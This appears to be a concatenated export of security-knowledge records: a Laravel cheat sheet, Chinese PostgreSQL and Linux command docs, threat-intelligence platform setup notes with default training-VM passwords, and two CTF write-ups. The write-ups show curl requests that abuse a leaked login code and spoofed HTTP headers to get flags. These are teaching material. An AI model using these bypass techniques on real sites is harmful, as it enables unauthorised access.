<input type="text" name="username" value="{{ old('username') }}">
```
See: [Helpers](#helpers-cols-3)
See: [Forms](#forms-cols-3)
### Uploaded Files
Retrieve uploaded file from request
```php
$file = $request->file('photo');
$file = $request->photo;
```
Get file path or extension
```php
$path = $request->photo->path();
$extension = $request->photo->extension();
```
Store uploaded file with a randomly generated filename
```php
// path where the file should be stored relative to
// the filesystem's configured root directory
$path = $request->photo->store('images');
// optional 2nd param to specify the filesystem disk
$path = $request->photo->store('images', 's3');
```
Store uploaded file and specify the name
```php
$path = $request->photo->storeAs('images', 'filename.jpg');
$path = $request->photo->storeAs('images', 'filename.jpg', 's3');
```
See More: [Laravel File Storage](https://laravel.com/docs/8.x/filesystem)
Views
---------------
### Intro
- [Laravel Docs - Views](https://laravel.com/docs/8.x/views)
```html
<!-- View stored in resources/views/greeting.blade.php -->
<html>
<body>
<h1>Hello, <?php echo $name; ?></h1>
</body>
</html>
```
Create a view by placing a file with the `.blade.php`
extension in the `resources/views` directory.
### Pass Data to Views
#### As an array
```php
return view('greetings', ['name' => 'Victoria']);
```
#### Using with()
```php
return view('greeting')
->with('name', 'Victoria')
->with('occupation', 'Astronaut');
```
Access each value using the data's keys
```html
<html>
<body>
<h1>Hello, {{ $name }}</h1>
<!-- Or -->
<h1>Hello, <?php echo $name; ?></h1>
</body>
</html>
```
### view helper
Return a view from a route with the `view()` helper
```php
Route::get('/', function () {
return view('greeting', ['name' => 'James']);
});
```
See: [View Routes](#view-routes) and [Helpers](#helpers)
### Subdirectories
```php
// resources/views/admin.profile.blade.php
return view('admin.profile');
```
Blade Templates
---------------
### Intro
- [Laravel Docs - Blade Templates](https://laravel.com/docs/8.x/blade)
Blade is the templating engine included in Laravel
that also allows you to use plain PHP.
### Views
Blade views are returned using the `view()` helper
```php
Route::get('/', function () {
return view('welcome', ['name' => 'Samantha']);
});
```
See: [Views](#view-helper)
### Comments
```html
{{-- This comment will not be present in the rendered HTML --}}
```
### Directives {.row-span-3}
#### if Statements
```php
@if (count($records) === 1)
I have one record!
@elseif (count($records) > 1)
I have multiple records!
@else
I don't have any records!
@endif
```
#### isset & empty
```php
@isset($records)
// $records is defined and is not null...
@endisset
@empty($records)
// $records is "empty"...
@endempty
```
#### Authentication
```php
@auth
// The user is authenticated...
@endauth
@guest
// The user is not authenticated...
@endguest
```
#### Loops
```html
@for ($i = 0; $i < 10; $i++)
The current value is {{ $i }}
@endfor
@foreach ($users as $user)
<p>This is user {{ $user->id }}</p>
@endforeach
@forelse ($users as $user)
<li>{{ $user->name }}</li>
@empty
<p>No users</p>
@endforelse
@while (true)
<p>I'm looping forever.</p>
@endwhile
```
Loop Iteration:
```php
@foreach ($users as $user)
@if ($loop->first)
This is the first iteration.
@endif
@if ($loop->last)
This is the last iteration.
@endif
<p>This is user {{ $user->id }}</p>
@endforeach
```
See more: [Laravel Loop Variable](https://laravel.com/docs/8.x/blade#the-loop-variable)
### Displaying Data
Blade's echo statements `{{ }}` are automatically sent through
PHP's `htmlspecialchars` function to prevent XSS attacks.
Display the contents of the name variable:
```html
Hello, {{ $name }}.
```
Display results of a PHP function:
```html
The current UNIX timestamp is {{ time() }}.
```
Display data without escaping with `htmlspecialchars`
```html
Hello, {!! $name !!}.
```
### Including Subviews
Include a Blade view from within another view.
All variables that are available to the parent view are also available to the included view
```html
<div>
<!-- resources/views/shared/errors/blade.php -->
@include('shared.errors')
<form>
<!-- Form Contents -->
</form>
</div>
```
### Raw PHP
Execute a block of plain PHP
```php
@php
$counter = 1;
@endphp
```
### Stacks
Blade allows you to push to named stacks which can be rendered in another view or layout.
Useful for javascript libraries required by child views
```html
<!-- Add to the stack -->
@push('scripts')
<script src="/example.js"></script>
@endpush
```
Render the stack
```html
<head>
<!-- Head Contents -->
@stack('scripts')
</head>
```
Prepend to the beginning of a stack
```php
@push('scripts')
This will be second...
@endpush
// Later...
@prepend('scripts')
This will be first...
@endprepend
```
Forms
---------------
### Intro
- [Laravel Docs - Forms](https://laravel.com/docs/8.x/blade#forms)
### CSRF Field
Include a hidden CSRF token field to validate the request
```html
<form method="POST" action="/profile">
@csrf
...
</form>
```
See: [CSRF Protection](#csrf-protection)
### Method Field
Since HTML forms can't make `PUT`, `PATCH`, or `DELETE` requests, you
will need to add a hidden `_method` field to spoof these HTTP verbs:
```html
<form action="/post/my-post" method="POST">
@method('PUT')
...
</form>
```
### Validation Errors
```html
<!-- /resources/views/post/create.blade.php -->
<label for="title">Post Title</label>
<input id="title" type="text" class="@error('title') is-invalid @enderror">
@error('title')
<div class="alert alert-danger">{{ $message }}</div>
@enderror
```
See: [Validation](#validation-cols-3)
### Repopulating Forms
When redirecting due to a validation error, request input is flashed to the session.
Retrieve the input from the previous request with the `old` method
```php
$title = $request->old('title');
```
Or the `old()` helper
```html
<input type="text" name="title" value="{{ old('title') }}">
```
Validation
---------------
### Intro
- [Laravel Docs - Validation](https://laravel.com/docs/8.x/validation)
If validation fails, a redirect response to the previous URL will be generated.
If the incoming request is an XHR request, a JSON response with the
validation error messages will be returned.
### Logic
```php
// in routes/web.php
Route::get('/post/create', [App\Http\Controllers\PostController::class, 'create']);
Route::post('/post', [App\Http\Controllers\PostController::class, 'store']);
// in app/Http/Controllers/PostController...
public function store(Request $request)
{
$validated = $request->validate([
// input name => validation rules
'title' => 'required|unique:posts|max:255',
'body' => 'required',
]);
// The blog post is valid...
}
```
### Rules {.row-span-5}
Can also be passed as an array
```php
$validatedData = $request->validate([
'title' => ['required', 'unique:posts', 'max:255'],
'body' => ['required'],
]);
```
#### after:date
Field must be a value after a given date.
```php
'start_date' => 'required|date|after:tomorrow'
```
Instead of a date string, you may specify another field to compare against the date
```php
'finish_date' => 'required|date|after:start_date'
```
See [before:date](#beforedate)
#### after_or_equal:date
Field must be a value after or equal to the given date.
See [after:date](#afterdate)
#### before:date
Field must be a value preceding the given date.
The name of another field may be supplied as the value of `date`.
See [after:date](#afterdate)
#### alpha_num
Field must be entirely alpha-numeric characters
#### boolean
Field must be able to be cast as a `boolean`.
Accepted input are `true`, `false`, `1`, `0`, `"1"`, and `"0"`
#### confirmed
Field must have a matching field of `{field}_confirmation`.
For example, if the field is password, a matching `password_confirmation` field must be present
#### current_password
Field must match the authenticated user's password.
#### date
Field must be a valid, non-relative date according to the `strtotime` PHP function.
#### email
Field must be formatted as an email address.
#### file
Field must be a successfully uploaded file.
See: [Uploaded Files](#uploaded-files)
#### max:value
Field must be less than or equal to a maximum value.
Strings, numerics, arrays, and files are evaluated like the [size](#sizevalue) rule.
#### min:value
Field must have a minimum value.
Strings, numerics, arrays, and files are evaluated like the [size](#sizevalue) rule.
#### mimetypes:text/plain,...
File must match one of the given MIME types:
```php
'video' => 'mimetypes:video/avi,video/mpeg,video/quicktime'
````
File's contents will be read and the framework will attempt to guess the
MIME type, regardless of the client's provided MIME type.
#### mimes:foo,bar,...
Field must have a MIME type corresponding to one of the listed extensions.
```php
'photo' => 'mimes:jpg,bmp,png'
````
File's contents will be read and the framework will attempt to guess the
MIME type, regardless of the client's provided MIME type.
[Full listing of MIME types & extensions](https://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types)
#### nullable
Field may be null.
#### numeric
Field must be numeric.
#### password
Field must match the authenticated user's password.
#### prohibited
Field must be empty or not present.
#### prohibited_if:anotherfield,value,...
Field must be empty or not present if the
_anotherfield_ field is equal to any value.
#### prohibited_unless:anotherfield,value,...
Field must be empty or not present unless the
_anotherfield_ field is equal to any value.
#### required
Field must be present in the input data and not empty.
A field is considered "empty" if one of the following conditions are true:
- The value is `null`.
- The value is an empty string.
- The value is an empty array or empty `Countable` object.
- The value is an uploaded file with no path.
#### required_with:foo,bar,...
Field must be present and not empty, only if any of the other
specified fields are present and not empty
#### size:value
Field must have a size matching the given value.
- For strings: number of characters
- For numeric data: integer value (must also have the `numeric` or `integer` rule).
- For arrays: count of the array
- For files: file size in kilobytes
```php
// Validate that a string is exactly 12 characters long...
'title' => 'size:12';
// Validate that a provided integer equals 10...
'seats' => 'integer|size:10';
// Validate that an array has exactly 5 elements...
'tags' => 'array|size:5';
// Validate that an uploaded file is exactly 512 kilobytes...
'image' => 'file|size:512';
```
#### unique:table,column
Field must not exist within the given database table
#### url
Field must be a valid URL
[See all available rules](https://laravel.com/docs/8.x/validation#available-validation-rules)
### Validate Passwords
Ensure passwords have an adequate level of complexity
```php
$validatedData = $request->validate([
'password' => ['required', 'confirmed', Password::min(8)],
]);
```
`Password` rule object allows you to easily customize the password complexity requirements
```php
// Require at least 8 characters...
Password::min(8)
// Require at least one letter...
Password::min(8)->letters()
// Require at least one uppercase and one lowercase letter...
Password::min(8)->mixedCase()
// Require at least one number...
Password::min(8)->numbers()
// Require at least one symbol...
Password::min(8)->symbols()
```
Ensure a password has not been compromised in a public password data breach leak
```php
Password::min(8)->uncompromised()
```
> _Uses the [k-Anonymity](https://en.wikipedia.org/wiki/K-anonymity) model via the [haveibeenpwned.com](https://haveibeenpwned.com) service without sacrificing the user's privacy or security_
Methods can be chained
```php
Password::min(8)
->letters()
->mixedCase()
->numbers()
->symbols()
->uncompromised()
```
### Display Validation Errors
```php
<!-- /resources/views/post/create.blade.php -->
<h1>Create Post</h1>
@if ($errors->any())
<div class="alert alert-danger">
<ul>
@foreach ($errors->all() as $error)
<li>{{ $error }}</li>
@endforeach
</ul>
</div>
@endif
<!-- Create Post Form -->
```
See: [Validation Errors](#validation-errors)
### Optional Fields
You will often need to mark your "optional" request fields as `nullable`
if you do not want the validator to consider `null` values as invalid
```php
// publish_at field may be either null or a valid date representation
$request->validate([
'title' => 'required|unique:posts|max:255',
'body' => 'required',
'publish_at' => 'nullable|date',
]);
```
### Validated Input
Retrieve the request data that underwent validation
```php
$validated = $request->validated();
```
Or with `safe()`, which returns an instance of `Illuminate\Support\ValidatedInput`
```php
$validated = $request->safe()->only(['name', 'email']);
$validated = $request->safe()->except(['name', 'email']);
$validated = $request->safe()->all();
```
#### Iterate
```php
foreach ($request->safe() as $key => $value) {
//
}
```
#### Access as an array
```php
$validated = $request->safe();
$email = $validated['email'];
```
Session
---------------
### Intro
- [Laravel Docs - Session](https://laravel.com/docs/8.x/session)
Laravel ships with a variety of session backends that are accessed through
a unified API. Memcached, Redis, and database support is included.
#### Configuration
Session configuration is in `config/session.php`.
By default, Laravel is configured to use the file session driver
### Check Isset / Exists
Returns `true` if the item is present and is not `null`:
```php
if ($request->session()->has('users')) {
//
}
```
Returns `true` if present, even if it's `null`:
```php
if ($request->session()->exists('users')) {
//
}
```
Returns `true` if the item is `null` or is not present:
```php
if ($request->session()->missing('users')) {
//
}
```
### Retrieving Data {.row-span-2}
#### Via Request
```php
// ...
class UserController extends Controller
{
public function show(Request $request, $id)
{
$value = $request->session()->get('key');
//
}
}
```
Pass a default value as the second argument to use
if the key does not exist
```php
$value = $request->session()->get('key', 'default');
// closure can be passed and executed as a default
$value = $request->session()->get('key', function () {
return 'default';
});
```
#### Via session helper
```php
Route::get('/home', function () {
// Retrieve a piece of data from the session...
$value = session('key');
// Specifying a default value...
$value = session('key', 'default');
// Store a piece of data in the session...
session(['key' => 'value']);
});
```
See: [Session Helper]()
#### All Session Data
```php
$data = $request->session()->all();
```
#### Retrieve and Delete
Retrieve and delete an item from the session
```php
$value = $request->session()->pull('key', 'default');
```
### Store Data
Via a request instance
```php
$request->session()->put('key', 'value');
```
Via the global "session" helper
```php
session(['key' => 'value']);
```
Push a new value onto a session value that is an array
```php
// array of team names
$request->session()->push('user.teams', 'developers');
```
Logging
---------------
### Configuration
Configuration options for logging behavior is in `config/logging.php`.
By default, Laravel will use the stack channel when logging messages, which aggregates multiple log channels into a single channel.
### Levels {.row-span-2}
All the log levels defined in the [RFC 5424 specification](https://tools.ietf.org/html/rfc5424) are available:
- emergency
- alert
- critical
- error
- warning
- notice
- info
- debug
### Log Facade {.row-span-2}
```php
use Illuminate\Support\Facades\Log;
Log::emergency($message);
Log::alert($message);
Log::critical($message);
Log::error($message);
Log::warning($message);
Log::notice($message);
Log::info($message);
Log::debug($message);
```
### Contextual Info
```php
use Illuminate\Support\Facades\Log;
Log::info('User failed to login.', ['id' => $user->id]);
```
Deployment
---------------
### Intro
- [Laravel Docs - Deployment](https://laravel.com/docs/8.x/deployment)
Ensure your web server directs all requests to your application's `public/index.php` file
### Optimization
#### Composer's autoloader map
```bash
composer install --optimize-autoloader --no-dev
```
#### Configuration Loading
Be sure that you are only calling the `env` function from within your configuration files.
Once the configuration has been cached, the `.env` file will not be loaded and all calls
to the `env` function for `.env` variables will return `null`
```bash
php artisan config:cache
```
#### Route Loading
```bash
php artisan route:cache
```
#### View Loading
```bash
php artisan view:cache
```
### Debug Mode
The debug option in your `config/app.php` determines how much information
about an error is actually displayed to the user.
By default, this option is set to the value of the `APP_DEBUG` environment
variable in your `.env` file.
In your production environment, this value should always be `false`.
If the `APP_DEBUG` variable is set to `true` in production, you risk exposing sensitive configuration values to end users.
Also see
-------
- [Laravel Docs](https://laravel.com/docs/8.x)
- [Laracasts](https://laracasts.com/)
- [Laravel API](https://laravel.com/api/8.x/)
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE TABLE AS" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE TABLE AS \- 从一条查询的结果中创建一个新表
.SH SYNOPSIS
.sp
.nf
CREATE [ [ GLOBAL | LOCAL ] { TEMPORARY | TEMP } ] TABLE \fItable_name\fR [ (\fIcolumn_name\fR [, ...] ) ]
AS \fIquery\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBCREATE TABLE AS\fR 创建一个表并且用来自 SELECT 命令计算出来的数据填充该表。 该表的字段和 SELECT 输出字段的名字及类型相关。 (只不过你可以通过明确地给出一个字段名字列表来覆盖 SELECT 的字段名)。
.PP
\fBCREATE TABLE AS\fR 和创建视图有点象, 不过两者之间实在是有比较大差异:它创建一个新表并且只对 SELECT 计算一次来填充这个新表。 新表不能跟踪 SELECT 的源表随后做的变化。 相比之下,每次做查询的时候,视图都重新计算定义它的 SELECT 语句。
.SH "PARAMETERS 参数"
.TP
\fBTEMPORARY or TEMP\fR
如果声明了这个选项,则该表作为临时表创建。 参阅 CREATE TABLE [\fBcreate_table\fR(7)] 获取细节。
.TP
\fB\fItable_name\fB\fR
要创建的表名(可以是用模式修饰的)。
.TP
\fB\fIcolumn_name\fB\fR
字段的名称。如果没有提供字段名字,那么就从查询的输出字段名中获取。 如果表是一个 EXECUTE 命令创建的, 那么当前就不能声明字段名列表。
.TP
\fB\fIquery\fB\fR
一个查询语句(也就是一条 SELECT 命令或者一条运行准备好的 SELECT 命令的 EXECUTE 命令),请分别参考 SELECT [\fBselect\fR(7)] 或者 EXECUTE [\fBexecute\fR(l)] 获取可以使用的语法的描述。
.SH "NOTES 注意"
.PP
这条命令从功能上等效于 SELECT INTO [\fBselect_into\fR(7)], 但是我们更建议你用这个命令,因为它不太可能和 SELECT ... INTO 语法的其它方面的使用混淆。
.SH "COMPATIBILITY 兼容性"
.PP
这条命令是根据 Oracle 的一个特性制作的。 在 SQL 标准中没有功能相等的命令。不过, 把 CREATE TABLE 和 INSERT ... SELECT 组合起来可以通过略微多一些的工作完成同样的事情。
.SH "SEE ALSO 参见"
CREATE TABLE [\fBcreate_table\fR(7)], CREATE VIEW [\fBcreate_view\fR(l)], EXECUTE [\fBexecute\fR(l)], SELECT [\fBselect\fR(l)], SELECT INTO [\fBselect_into\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
domainname
===
显示和设置系统的NIS域名
## 补充说明
**domainname命令** 用于显示和设置系统的NIS域名。
### 语法
```shell
domainname(选项)(参数)
```
### 选项
```shell
-v:详细信息模式;
-F:指定读取域名信息的文件。
```
### 参数
NIS域名:指定要设置的NIS域名。
### 实例
```shell
[root@AY1307311912260196fcZ ~]# domainname -v
getdomainname()=`(none)'
(none)
[root@AY1307311912260196fcZ ~]# domainname
www.jsdig.com
[root@AY1307311912260196fcZ ~]# domainname -v
getdomainname()=`www.jsdig.com'
www.jsdig.com
```
|
sec-knowleage
|
# Logged In
Web
## Description:
> Phew, we totally did not set up our mail server yet. This is bad news since nobody can get into their accounts at the moment... It'll be in our next sprint. Until then, since you cannot login: enjoy our totally finished software without account.
## Solution:
This is a "Wee" challenge - see basic explanation [here](./Wee/).
Clicking the "Login" button pops up a login box, where the user is requested to enter an email or username.
If we try to enter "admin", a request gets sent to `/api/login` and the logic box now requests: "We have sent you an email with a magic code! Please enter it below".
Let's check what happens in the server side:
```python
@app.route("/api/login", methods=["POST"])
def login():
print("Logging in?")
# TODO Send Mail
json = request.get_json(force=True)
login = json["email"].strip()
try:
userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login))
except Exception as ex:
raise Exception("UserDoesNotExist")
return get_code(name)
```
As expected, the mail service does not work yet, and the required code is returned to the user in the response:
```console
root@kali:/media/sf_CTFs/35c3ctf/Logged_In# curl 'http://35.207.132.47/api/login' -H 'Content-Type: application/json; charset=UTF-8' --data-binary '{"email":"admin"}' && echo
lrsrge
```
If we try this code, we get the following response:
```console
root@kali:/media/sf_CTFs/35c3ctf/Logged_In# curl 'http://35.207.132.47/api/verify' -H 'Content-Type: application/json; charset=UTF-8' --data-binary '{"code":"lrsrge"}' -i && echo
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Tue, 01 Jan 2019 19:57:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Set-Cookie: token=vsfrhvlixgcakewqactbyotkdsrhjehq; Expires=Sun, 19-Jan-2087 23:11:37 GMT; Max-Age=2147483647; Path=/
Set-Cookie: name=admin; Expires=Sun, 19-Jan-2087 23:11:37 GMT; Max-Age=2147483647; Path=/
Set-Cookie: logged_in=35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS; Path=/
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Security-Policy: script-src 'self' 'unsafe-inline';
Referrer-Policy: no-referrer-when-downgrade
Feature-Policy: geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen *; payment 'self';
```
The matching code is:
```python
@app.route("/api/verify", methods=["POST"])
def verify():
code = request.get_json(force=True)["code"].strip()
if not code:
raise Exception("CouldNotVerifyCode")
userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code)
db = get_db()
c = db.cursor()
c.execute("DELETE FROM userCodes WHERE userId=?", (userid,))
token = random_code(32)
c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token))
db.commit()
name, = query_db("SELECT name FROM users WHERE id=?", (userid,))
resp = make_response()
resp.set_cookie("token", token, max_age=2 ** 31 - 1)
resp.set_cookie("name", name, max_age=2 ** 31 - 1)
resp.set_cookie("logged_in", LOGGED_IN)
return resp
```
And we are logged in as "admin", with the flag being sent as part of the cookie: 35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS
|
sec-knowleage
|
# 威胁情报自动化生产
本文从看到果胜师傅的“浅谈基于开源工具的威胁情报自动化生产”[1]一文开始思考和整理。
在经过自己一段时间学习后发现,威胁情报的自动化生产过程,在场景上很受部署环境、应用场景的限制,在本篇中所整理的威胁情报生产是在一个理想化的宽松环境下进行:可联网,不考虑数据敏感度,不考虑其他部署环境的限制,不考虑数据源限制。
关于威胁情报本地化生产的部分,将在《威胁情报私有化生产》一文中给出。(挖坑现场,咕咕咕)
## 背景
“对于红队和渗透测试人员来说,获取更多的漏洞情报,将自己的基础设施和工具链条**隐藏在已知威胁情报之外**也是提高行动成功率的重要措施”[1]
"如果不能在本地**结合自身业务**对互联网威胁情报平台的海量数据进行提取,则威胁情报的对安全工作的指导意义会大幅下降。"[1]
攻防对抗的本质是成本的对抗,从这个角度来看,威胁情报的建设和应用,不外乎:威胁情报 + 本地化(结合业务) + 自动化。
## 方法论
威胁情报的本地化生产(其实就是定制化的意思),主要包含:
- 获取与自身相关的IOC
- e.g. hash, ip, url...
- 来源于本地设备,OSINT,SRC等
- 逐步扩张IOC
- 第一步是进行评估现有,基于痛苦金字塔模型
- Pyramid of Pain 可以用来评估IOC价值,价值从到高
- <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200619164927.png" style="zoom: 50%;" />
- 第二步是使用人工或者自动分析系统(沙箱)分析原始IOC,从而产出更高价值的关联IoC指标
- 集成威胁情报
- 集成就是讲数据标准化后进行存储和共享
- 例如,MISO, STIX等多个威胁情报共享标准
以上内容来自果胜师傅的总结[1]
## 生产架构
下图是来自[2020 奇智威胁情报峰会](https://github.com/FeeiCN/Security-PPT/tree/master/2020 奇智威胁情报峰会)的分享[2],其中主要组成为4个维度:
- 外网
- 内网
- 文件
- 流量
其中的数据流动关系主要为:流量==>文件==>内网==>外网。其中流量层的数据维度最为丰富,一般作为数据源,通过对异常网络行为的分析,提取相关文件进行样本分析。内网威胁情报分系统中的“内网”是相对企业/组织内外部而言,不一定是表示网络层面上的内外网。在内网部分,经过分析的样本信息作为线索,与内部的情报数据进行关联归因。在外网部分,通过外部多个情报源数据的孵化,结合数据科学的技术,可以对多源异构的大批量数据进行匹配、关联、聚合等,从而实现威胁情报视角下的组织关联分析(组织归因)等需求。
P.S. 为什么需要划分内外网呢?猜想,主要是对于企业/组织来说,外部的威胁风险肯定是与自身不同的,外部的情报源数据更加广泛,导致关联时孵化的数据不一定适用于自身。

图:奇安信的威胁情报生产架构
## 系统搭建
针对小型或起步的SoC来说,开源工具搭建+少量开发是非常好的方案。
### 开源工具选择
#### TreatIngestor
- 项目地址:https://github.com/InQuest/ThreatIngestor
- “ThreatIngestor是inquest实验室推出的一个威胁情报采集框架,该框架可以从社交媒体,消息队列,博客,自定义插件等渠道采集可用于威胁情报的IOC信息,并以编排剧本的方式灵活的配置采集和处理信息的具体步骤“[1]
#### TheHive
- 官网:https://thehive-project.org/
- 项目地址:https://github.com/TheHive-Project/TheHive
- 介绍:TheHive是一个可扩展的4合1开源和免费安全事件响应平台,旨在使SOC,CSIRT,CERT和任何需要迅速调查并采取行动的信息安全从业人员,更加轻松。
#### Cortex
- 项目地址:https://github.com/TheHive-Project/Cortex/
- TheHive的后台分析引擎,用于对IoC进行可视化、批量分析
- “cortex比主项目thehive具有更好的API SDK和文档支持,更加方便与第三方代码集成。”
#### Beats
[**Beats**](https://www.elastic.co/products/beats) :轻量级,单一用途的数据发布者,可以将数百或数千台计算机中的数据发送到Logstash或Elasticsearch。
### 搭建过程
#### 使用ElasticSearch
```bash
$ brew install elasticsearch
$ brew install kibana
```
笔者使用macOS可以直接用homebrewan安装,es运行在后台9200端口
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200621144623.png" style="zoom:50%;" />
Fig. ElasticSearch后台(9200端口)界面
#### 使用Kibana
Kibana提供es的一个可视化面板进行管理和应用,也是在测试阶段我们所采用的开源可视化面板。

Fig. Kibana面板界面(5601端口)
#### 使用Logstash
Logstash是一个数据加工系统,可以使用这个该将数据导入到ES内。
#### 搭建Cortex
可以使用Docker便捷安装,但使用官方给出的docker-compose.yml时,会出现cortex不兼容elasticsearch5.6.X版本以上的情况。而ES 5.6.X会意外退出,暂时还没有找到原因。因此这里采用TheHive官方提供的一个培训用虚拟机,可以更便利地使用。当然,在生产环境中还是要本地安装和配置。
训练用虚拟机_下载地址:https://github.com/TheHive-Project/TheHiveDocs/blob/master/training-material.md
使用虚拟机软件import ova文件即可,Virtualbox用户需要把网络选项设置为桥接。
> - Training VM system account (ssh) : `thehive/thehive1234`
> - TheHive URL : http://IP_OF_VM:9000
> - TheHive Admin account: `admin/thehive1234`
> - Cortex URL : http://IP_OF_VM:9001
> - Cortex superAdmin account : `admin/thehive1234`
> - Cortex "training" Org admin account : `thehive/thehive1234` (its key API is used to enable Cortex service in TheHive)
#### 使用TheHive
The Hive是一个开源的应急响应平台,其依赖于ElasticSearch、Cortex,以下是一个Docker部署的方案,来自DockerHub,会同时部署ES和Cortex。
```yml
version: "2"
services:
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:5.6.0
environment:
- http.host=0.0.0.0
- transport.host=0.0.0.0
- xpack.security.enabled=false
- cluster.name=hive
- script.inline=true
- thread_pool.index.queue_size=100000
- thread_pool.search.queue_size=100000
- thread_pool.bulk.queue_size=100000
ulimits:
nofile:
soft: 65536
hard: 65536
cortex:
image: thehiveproject/cortex:latest
ports:
- "0.0.0.0:9001:9001"
thehive:
image: thehiveproject/thehive:latest
depends_on:
- elasticsearch
- cortex
ports:
- "0.0.0.0:9000:9000"
```
// TODO
## 概念补充
### 消息队列
消息队列(Message Queue, MQ) = Message in Queue
简单来说,就是数据生产者和数据消费者之间的一个仓库,以前是生产者一产出数据,就亲手交给消费者,现在是生产者产出数据后,先放到消息队列这个仓库里,然后消费者按照自己的消费速度去拿。
好处有四个方面:
- 解耦合
- 降低代码耦合性,每个成员可以更独立,生产者不再需要亲手交到消费者手里,消费者想快点取也可以,慢点取也可以
- 提速
- 生产者只要完成生产后把货物放到仓库就可以了,不用再考虑与消费者的对接等其他操作
- 广播
- 生产者放到仓库后,所有人都可以来拿货物
- 削峰
- 消费者不用再根据生产者的速度来调整消费速度
## References
[1] 浅谈基于开源工具的威胁情报自动化生产,果胜,https://paper.seebug.org/1210/
\[2] 内生安全与威胁情报体系构建,吴云坤,https://github.com/FeeiCN/Security-PPT/blob/master/2020%20%E5%A5%87%E6%99%BA%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E5%B3%B0%E4%BC%9A/%E5%90%B4%E4%BA%91%E5%9D%A4-%E5%86%85%E7%94%9F%E5%AE%89%E5%85%A8%E4%B8%8E%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA.pdf
|
sec-knowleage
|
# Who are you?
Category: Web, 100 points
## Description
> Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn
## Solution
Let's visit the attached website:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Who_are_you]
└─$ curl -s http://mercury.picoctf.net:38322/
<!DOCTYPE html>
<html lang="en">
<head>
<title>Who are you?</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron">
<p class="lead"></p>
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<h3 style="color:red">Only people who use the official PicoBrowser are allowed on this site!</h3>
</div>
</div>
<br/>
<img src="/static/who_r_u.gif"></img>
</div>
<footer class="footer">
<p>© PicoCTF</p>
</footer>
</div>
<script>
$(document).ready(function(){
$(".close").click(function(){
$("myAlert").alert("close");
});
});
</script>
</body>
</html>
```
The site accepts only users who use the `picoctf` browser. We can spoof that using the user agent:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Who_are_you]
└─$ curl -s --user-agent "picobrowser" "http://mercury.picoctf.net:38322/" | grep h3
<h3 style="color:red">I don't trust users visiting from another site.</h3>
```
We can spoof that using the referrer:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Who_are_you]
└─$ curl --user-agent "picobrowser" "http://mercury.picoctf.net:38322/" --referer "http://mercury.picoctf.net:38322/" -s | grep h3
<h3 style="color:red">Sorry, this site only worked in 2018.</h3>
```
We can spoof that using the `Date` header:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Who_are_you]
└─$ curl --user-agent "picobrowser" "http://mercury.picoctf.net:38322/" --referer "http://mercury.picoctf.net:38322/" -H "Date: Wed, 21 Oct 2018 07:28:00 GMT" -s | grep h3
<h3 style="color:red">I don't trust users who can be tracked.</h3>
```
We can set that using the "Do Not Track" header:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Who_are_you]
└─$ curl --user-agent "picobrowser" "http://mercury.picoctf.net:38322/" --referer "http://mercury.picoctf.net:38322/" -H "Date: Wed, 21 Oct 2018 07:28:00 GMT" -H "DNT: 1" -s | grep h3
<h3 style="color:red">This website is only for people from Sweden.</h3>
```
We can spoof that using a Swedish IP together with `X-Forwarded-For`:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Who_are_you]
└─$ curl --user-agent "picobrowser" "http://mercury.picoctf.net:38322/" --referer "http://mercury.picoctf.net:38322/" -H "Date: Wed, 21 Oct 2018 07:28:00 GMT" -H "DNT: 1" -H "X-Forwarded-For: 193.150.233.115" -s | grep h3
<h3 style="color:red">You're in Sweden but you don't speak Swedish?</h3>
```
We can set that using the `Accept-Language` header:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Who_are_you]
└─$ curl --user-agent "picobrowser" "http://mercury.picoctf.net:38322/" --referer "http://mercury.picoctf.net:38322/" -H "Date: Wed, 21 Oct 2018 07:28:00 GMT" -H "DNT: 1" -H "X-Forwarded-For: 193.150.233.115" -H "Accept-Language: sv" -s | grep h3
<h3 style="color:green">What can I say except, you are welcome</h3>
<b>picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}</b>
```
The flag: `picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}`
|
sec-knowleage
|
import subprocess, sys
def gdb(txt):
